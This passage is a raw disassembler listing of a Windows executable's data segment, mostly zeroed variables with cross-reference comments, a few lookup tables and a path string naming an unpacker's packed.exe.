sub_409909+6D0r ... dword_4CB8E8 dd 0 ; DATA XREF: sub_409909+58w ; sub_409909+CAr ... dword_4CB8EC dd 0 ; DATA XREF: sub_409909+934w dword_4CB8F0 dd 0 ; DATA XREF: sub_401ACD:loc_403ECBr ; sub_409909+A95w ... dword_4CB8F4 dd 0 ; DATA XREF: sub_409909+A6w ; sub_409909+F2r dword_4CB8F8 dd 0 ; DATA XREF: sub_409909+480w ; sub_409909+4D3r dword_4CB8FC dd 0 ; DATA XREF: sub_409909+5F6w ; sub_40C267+20r dword_4CB900 dd 0 ; DATA XREF: sub_409909+9BEw ; sub_409909+A33r dword_4CB904 dd 0 ; DATA XREF: sub_409909+5E9w ; sub_409909+754r ... dword_4CB908 dd 0 ; DATA XREF: sub_409909+A0Cw dword_4CB90C dd 0 ; DATA XREF: sub_409909+B50w ; sub_40DC41+9Ar dword_4CB910 dd 0 ; DATA XREF: sub_409909+7FEw ; sub_409909+86Dr ... dword_4CB914 dd 0 ; DATA XREF: sub_409909+1B3w ; sub_40B5B5+3Do ... dword_4CB918 dd 0 ; DATA XREF: sub_409909+997w ; sub_409909+A1Br ... dword_4CB91C dd 0 ; DATA XREF: sub_409909+38Cw ; sub_409909+3D7r ... dword_4CB920 dd 0 ; DATA XREF: sub_409909+399w ; sub_409909+3DFr ... dword_4CB924 dd 0 ; DATA XREF: sub_409909+C85w ; sub_409909+C8Cr dword_4CB928 dd 0 ; DATA XREF: sub_409909+6ACw ; ___:00411290r dword_4CB92C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB930 dd 0 ; DATA XREF: sub_409909+4B4w dword_4CB934 dd 0 ; DATA XREF: sub_409909+9E5w ; sub_409909+A4Br ... dword_4CB938 dd 0 ; DATA XREF: sub_401000+51r ; sub_409909+2B2w ... dword_4CB93C dd 0 ; DATA XREF: sub_409909+7Fw ; sub_409909+DAr ... dword_4CB940 dd 0 ; DATA XREF: sub_401ACD+5840r ; sub_401ACD+781Er ... dword_4CB944 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5037r ... dword_4CB948 dd 0 ; DATA XREF: sub_409909+825w ; sub_409909+890r ... dword_4CB94C dd 0 ; DATA XREF: sub_409909+9A4w ; sub_409909+A23r dword_4CB950 dd 0 ; DATA XREF: sub_409909+C0Ew ; sub_409909+C3Fr dword_4CB954 dd 0 ; DATA XREF: sub_409909+2CCw ; sub_418A2E+47r dword_4CB958 dd 0 ; DATA XREF: sub_409909+22Dw dword_4CB95C dd 0 ; DATA XREF: sub_409909+91Aw ; sub_409909+92Er dword_4CB960 dd 0 ; DATA XREF: sub_409909+C28w dword_4CB964 dd 0 ; DATA XREF: sub_409909+2D9w ; sub_418A2E+4Fr dword_4CB968 dd 0 ; DATA XREF: sub_409909+574w ; sub_409909+6E8r ... dword_4CB96C dd 0 ; DATA XREF: sub_409909+83Fw ; sub_409909+873r dword_4CB970 dd 0 ; DATA XREF: sub_409909+220w ; sub_409909+23Cr dword_4CB974 dd 0 ; DATA XREF: sub_409909+172w ; sub_409909+1C2r dword_4CB978 dd 0 ; DATA XREF: sub_401ACD+1DCEr ; sub_401ACD+59F9r ... dword_4CB97C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+50C1r ... dword_4CB980 dd 0 ; DATA XREF: sub_409909+567w ; sub_409909+6DCr ... dword_4CB984 dd 0 ; DATA XREF: sub_409909+8DBw ; sub_409909:loc_40A202w ... dword_4CB988 dd 0 ; DATA XREF: sub_401000+26r ; sub_409909+28Bw ... dword_4CB98C dd 0 ; DATA XREF: sub_401ACD+77AFr ; sub_409909+69Fw ... dword_4CB990 dd 0 ; DATA XREF: sub_409909+32Dw ; sub_409909+341r ... dword_4CB994 dd 0 ; DATA XREF: sub_409909+3B3w ; sub_409909+3EFr ... dword_4CB998 dd 0 ; DATA XREF: sub_409909+C01w ; sub_409909+C37r dword_4CB99C dd 0 ; DATA XREF: sub_409909+818w ; sub_409909+888r ... dword_4CB9A0 dd 0 ; DATA XREF: sub_409909+206w ; sub_409909+227r dword_4CB9A4 dd 0 ; DATA XREF: sub_409909+18Cw ; sub_409909+1D2r ... dword_4CB9A8 dd 0 ; DATA XREF: sub_409909+832w ; sub_409909+898r ... dword_4CB9AC dd 0 ; DATA XREF: sub_409909+624w ; sub_409909+774r dword_4CB9B0 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409909+2BFw ... dword_4CB9B4 dd 0 ; DATA XREF: sub_409909+66Bw ; sub_409909+79Cr ... dword_4CB9B8 dd 0 ; DATA XREF: sub_409909+320w ; sub_409909+334r ... dword_4CB9BC dd 0 ; DATA XREF: sub_409909+644w ; sub_409909+784r ... dword_4CB9C0 dd 0 ; DATA XREF: sub_409909+44Cw ; sub_409909+4AEr dword_4CB9C4 dd 0 ; DATA XREF: sub_409909+199w ; sub_409909+1DAr ... dword_4CB9C8 dd 0 ; DATA XREF: sub_409909+365w ; sub_409909+3BAr ... dword_4CB9CC dd 0 ; DATA XREF: sub_409909+AA2w dword_4CB9D0 dd 0 ; DATA XREF: sub_409909+5DCw ; sub_409909+748r ... dword_4CB9D4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5073r ... dword_4CB9D8 dd 0 ; DATA XREF: sub_409909+4Bw ; sub_409909+C2r ... dword_4CB9DC dd 0 ; DATA XREF: sub_409909+473w ; sub_409909+4CBr dword_4CB9E0 dd 0 ; DATA XREF: sub_409909+165w ; sub_409909+1BAr ... dword_4CB9E4 dd 0 ; DATA XREF: sub_409909+9FFw ; sub_409909+A5Br ... dword_4CB9E8 dd 0 ; DATA XREF: sub_409909+685w ; sub_409909+7ACr ... dword_4CB9EC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+50D6r ... dword_4CB9F0 dd 0 ; DATA XREF: sub_409909+C1Bw ; sub_409909+C47r dword_4CB9F4 dd 0 ; DATA XREF: sub_409909+3Ew ; sub_409909+BAr ... dword_4CB9F8 dd 0 ; DATA XREF: sub_401000+45r ; sub_409909+298w ... dword_4CB9FC dd 0 ; DATA XREF: sub_409909+651w ; sub_409909+78Cr ... dword_4CBA00 dd 0 ; DATA XREF: sub_409909+637w ; sub_409909+77Cr ... dword_4CBA04 dd 0 ; DATA XREF: sub_409909+C92w dword_4CBA08 dd 0 ; DATA XREF: sub_409909+879w ; ___:00416C7Cr ... dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w dword_4CBA10 dd 0 ; DATA XREF: sub_409909+BE7w ; sub_409909+C22r dword_4CBA14 dd 0 ; DATA XREF: sub_401ACD+2F9Br ; sub_401ACD+5EB8r ... dword_4CBA18 dd 0 ; DATA XREF: sub_409909+459w ; sub_409909+4BBr dword_4CBA1C dd 0 ; DATA XREF: sub_409909+49Aw ; sub_409909+4E3r dword_4CBA20 dd 0 ; DATA XREF: sub_409909+466w ; sub_409909+4C3r dword_4CBA24 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+50F3r ... dword_4CBA28 dd 0 ; DATA XREF: sub_409909+1A6w ; sub_409909+1E2r ... dword_4CBA2C dd 0 ; DATA XREF: sub_409909+9F2w ; sub_409909+A53r ... dword_4CBA30 dd 0 ; DATA XREF: sub_409909+158w ; sub_409909+1ADr ... dword_4CBA34 dd 0 ; DATA XREF: sub_409909+8Cw ; sub_409909+E2r ... dword_4CBA38 dd 0 ; DATA XREF: sub_409909+610w ; sub_409909+764r ... dword_4CBA3C dd 0 ; DATA XREF: sub_409909+B43w ; sub_409909+B5Fr dword_4CBA40 dd 0 ; DATA XREF: sub_409909+33Aw ; sub_419B9E+55r dword_4CBA44 dd 0 ; DATA XREF: sub_409909+27Ew ; sub_409909+2D3r ... dword_4CBA48 dd 0 ; DATA XREF: sub_409909+BAAw dword_4CBA4C dd 0 ; DATA XREF: sub_409909+AECw ; sub_40A928+CEr dword_4CBA50 dd 0 ; DATA XREF: sub_409909+ADFw ; sub_409909+AE6r ... dword_4CBA54 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5052r ... dword_4CBA58 dd 0 ; DATA XREF: sub_401ACD+5044r ; sub_401ACD+77D6r ... dword_4CBA5C dd 0 ; DATA XREF: sub_409909+BF4w ; sub_409909+C2Fr dword_4CBA60 dd 0 ; DATA XREF: sub_401ACD+1DF4r ; sub_401ACD+5A1Fr ... dword_4CBA64 dd 0 ; DATA XREF: sub_409909+9B1w ; sub_409909+A2Br ... dword_4CBA68 dd 0 ; DATA XREF: sub_409909+65Ew ; sub_409909+794r ... dword_4CBA6C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CBA70 dd 0 ; DATA XREF: sub_409909+59Bw ; sub_409909+70Cr ... dword_4CBA74 dd 0 ; DATA XREF: sub_409909+B36w ; sub_409909+B57r ... dword_4CBA78 dd 0 ; DATA XREF: sub_409909+540w ; sub_409909+6C4r ... dword_4CBA7C dd 0 ; DATA XREF: sub_409909+B29w ; sub_409909+B4Ar dword_4CBA80 dd 0 ; DATA XREF: ___:00401273r ; sub_409909+31w ... dword_4CBA84 dd 0 ; DATA XREF: sub_409909+17Fw ; sub_409909+1CAr dd 0 dword_4CBA8C dd 0 ; DATA XREF: sub_409909+927w ; sub_409909+93Br dword_4CBA90 dd 0 ; DATA XREF: sub_409909+99w ; sub_409909+EAr ... dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w ; sub_409909+12Bw ... dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w ; sub_40A5C5+1Cr dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w ; sub_409909:loc_409B5Ew ... dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w ; sub_40A5C5+50r dword_4CBAA4 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4468r ... dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew ; sub_40A5C5+84r dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw ; sub_40A5C5:loc_40A675r dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw ; sub_40A5C5+B8r dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw ; sub_40A5C5:loc_40A6A9r dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w ; sub_40A5C5+ECr dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w ; sub_409909+8EFw ... dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw ; sub_40A5C5+120r dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r ; sub_409909:loc_40A25Dw ... dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw ; sub_40A5C5+154r dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r ; sub_409909:loc_40A379w ... dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw ; sub_40A5C5+188r dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w ; sub_40A5C5:loc_40A779r dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w ; sub_40A5C5+1BCr dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw ; sub_40A5C5:loc_40A7ADr dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw ; sub_40A5C5+1F0r dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w ; sub_40A5C5:loc_40A7E1r dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w ; sub_40A5C5+224r dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw ; sub_40A5C5:loc_40A815r dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw ; sub_40A5C5+258r dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w ; sub_40A5C5:loc_40A849r dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw ; sub_40A5C5+28Cr dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w ; sub_40A5C5:loc_40A87Dr dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w ; sub_40A5C5+2C0r dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar ; sub_40B2B3+98w align 10h dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r ; sub_40C2AF+92w ... dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr ; sub_40C3E8+2F1w ... dd 7FEh dup(0) dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o ; sub_40C3E8+13Bo ... dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w ; sub_40BD91+348o dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew ; sub_40BD91+35Ar dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w ; sub_40BD91:loc_40C0A6r dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o ; sub_40BD91+302o dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw ; sub_40BD91+30Fw dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r align 8 dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w ; sub_40BD91+101o dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w ; sub_40BD91+113r dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw ; sub_40BD91+D4r dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao ; sub_40BD91+BAo dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w ; sub_40BD91+C7w dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr align 10h dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w ; sub_40BD91+225o dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw ; sub_40BD91+237r dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w ; sub_40BD91+1F8r dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo ; sub_40BD91+1DEo dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw ; sub_40BD91+1EBw dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr align 8 dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w ; sub_40BD91+470o dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw ; sub_40BD91+423r align 10h dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w ; sub_40BD91+482r dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w dd 0 dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r dd 0 dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er ; sub_40B9DD+32r dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r ; sub_40B9DD+26r dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo dword_4CE6F8 dd 0 ; DATA XREF: ___:0040EEF0r dd 0 dd 0 dword_4CE704 dd 0 ; DATA XREF: ___:0040EEC3r dword_4CE708 dd 0 ; DATA XREF: ___:0040EEA5r ; ___:0040EF0Er align 10h dword_4CE710 dd 0 ; DATA XREF: sub_40BD91+2AEr align 8 dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr dword_4CE71C dd 0 ; DATA XREF: ___:0040F9E9w ; ___:0040FA10r ... dd 3 dup(0) dword_4CE72C dd 0 ; DATA XREF: ___:00411306r dd 0 dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w ; sub_412EDD+9o dd 10Ah dup(0) dword_4CEB60 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F25o ; sub_401ACD:loc_404A7Bo dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w ; sub_401ACD+2F1Dr ... dd 11Ch dup(0) dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do ; sub_415DD8o ... dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o ; sub_415DD8+Eo ... dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o ; sub_41761C+DDo ... dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o ; sub_41761C+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_4383A8o dd 1B7h dup(0) dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w ; sub_417493+94r dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w ; sub_4178F9+55r ... dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w ; sub_417493+D6r ... dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w ; sub_417493+35r ... dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w ; sub_417493+A2r align 8 dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o ; sub_4172C1+103r ... dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw ; sub_4177C3+107w dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w ; sub_4177C3+10Dw ... dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w ; sub_4178F9+4Fr dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w ; sub_417C61:loc_417DE6w ... dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o ; sub_417B2F+12o ... dd 0 dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr ; sub_417E06+3Ar dd 7Fh dup(0) dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r ; sub_417E06+4Aw dd 1944h dup(0) dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o ; sub_417B2F+3Co ... dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o ; sub_418D2A+131o ... dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co ; sub_419AE0+A5o dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w ; sub_4190A5+4Dr ... dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo ; sub_4199AC+12Do dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co ; sub_418FE5+7Eo ... byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r ; sub_4190A5+34w align 10h dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o ; sub_4192FC+89o ... dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o ; sub_418C0E+5Bo dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er ; sub_41A05C+54r ... dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr ; sub_41A05C+37r ... dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar ; sub_41A1B1+83o dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r ; sub_41A1B1+11Bw dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o ; sub_41A1B1:loc_41A2EEo dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr ; sub_41A05C+ECr ... align 10h dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o ; ___:0041B881o ... align 10h dd 3Fh dup(0) dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o ; ___:0041B6CAo dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w ; ___:loc_41DB07w ... dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w ; sub_41E312:loc_41E3ACw ... dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar dd 0A28h, 501h, 5, 1 dword_4DBDF8 dd 1 ; DATA XREF: ___:loc_401516r ; ___:0042381Dw dword_4DBDFC dd 2450B30h ; DATA XREF: ___:0040151Fr ; ___:0040153Fr ... dd 0 dword_4DBE04 dd 2450B58h ; DATA XREF: ___:00423717w dd 3 dup(0) off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw ; sub_4241E3+5r align 10h dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r ; sub_41C1B3+8Bw dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br ; sub_41CAD4+91w align 10h dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw dword_4DBE34 dd 0 ; DATA XREF: ___:loc_4236E5r ; ___:loc_423727r ... dd 0 dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r ___:0041E2F0o ... dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw ; sub_41F4C9+2Dw ... dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr ; sub_41BBE2:loc_41BE1Fr ... dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r ; sub_4208E2+4w ... dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r align 8 dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r ; sub_42237D+1Ar ... byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r ; sub_422279+98r ... align 10h dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r ; sub_42245B+21w ... byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w align 4 dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er ; sub_422A2C+3Ar ... dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr ; sub_422A2C+43r ... dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar ; sub_4227F8+5r dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r ; sub_4232A8+4Cw ... dd 2 dup(0) dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r ; sub_41DE4A+6Er ... dd 3 dup(0) dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r ; sub_41E0D4+BFr ... dd 0 dword_4DBE9C dd 0 ; DATA XREF: ___:00423531r ; ___:0042353Dw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o ; ___:off_4DBE14o align 4 dd 3Ah dup(0) dword_4DBFA4 dd 1 ; DATA XREF: ___:004239DBr ; ___:004239FCw ... dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w ; sub_420CE6:loc_420D0Fw ... dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r ; sub_4244F4:loc_42455Ew word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao ; sub_424DF9+46r byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r align 4 dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w ; sub_424DF9+5Co dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr ; sub_424F1C+38r ... dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r ; sub_425029+2Ew ... dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w ; sub_425029:loc_425078r dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw ; sub_425029+60r dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr ; sub_425C06+6Do dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r ; sub_425C06+44o dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r ; sub_425C06+37o dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r ; sub_425C06+51o align 10h dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r ; sub_426680+2w ... dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r ; sub_4268C1:loc_42692Bw byte_4DC018 db 0 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w align 4 dword_4DC01C dd 2451140h ; DATA XREF: sub_41E490:loc_41E4A1r ; sub_41FD3D+14r ... dword_4DC020 dd 400h dup(0) ; DATA XREF: ___:off_43D568o ; ___:0043D570o dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r ; sub_41E490+56r ... dd 7 dup(0) dword_4DD040 dd 2450650h ; DATA XREF: sub_41F8E3+75r ; sub_41F9BC+2Ar ... dword_4DD044 dd 3Fh dup(0) ; DATA XREF: ___:00423B9Do dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r ; sub_41F9BC+Cr ... dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r ; sub_420749+65w ... align 10h dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o ; sub_420749+171o ... dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w ; sub_420749+15Dw ... byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w ; sub_420988:loc_420AB1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co ; sub_420749+AFo ... byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr ; sub_420749+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew ; sub_420749+12Bw ... dword_4DD368 dd 0 ; DATA XREF: sub_41ED74+5r ; sub_41ED74+32w dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar ; sub_41E742+25Ar ... dword_4DD370 dd 0 ; DATA XREF: sub_41E742+311w ; sub_41EA6B:loc_41EABBr ... dword_4DD374 dd 0 ; DATA XREF: sub_41E742+22Dr ; sub_41E742+260r ... dword_4DD378 dd 0 ; DATA XREF: sub_41E717r ; sub_41E742+2CBr ... dword_4DD37C dd 0 ; DATA XREF: sub_41E717+8r ; sub_41E742+2D0r ... dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr ; sub_41BEF3+Fr ... dword_4DD384 dd 2450000h ; DATA XREF: sub_41BA91+5Ar ; sub_41BBE2+C0r ... dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr ; sub_41BBE2:loc_41BC12r ... dword_4DD38C 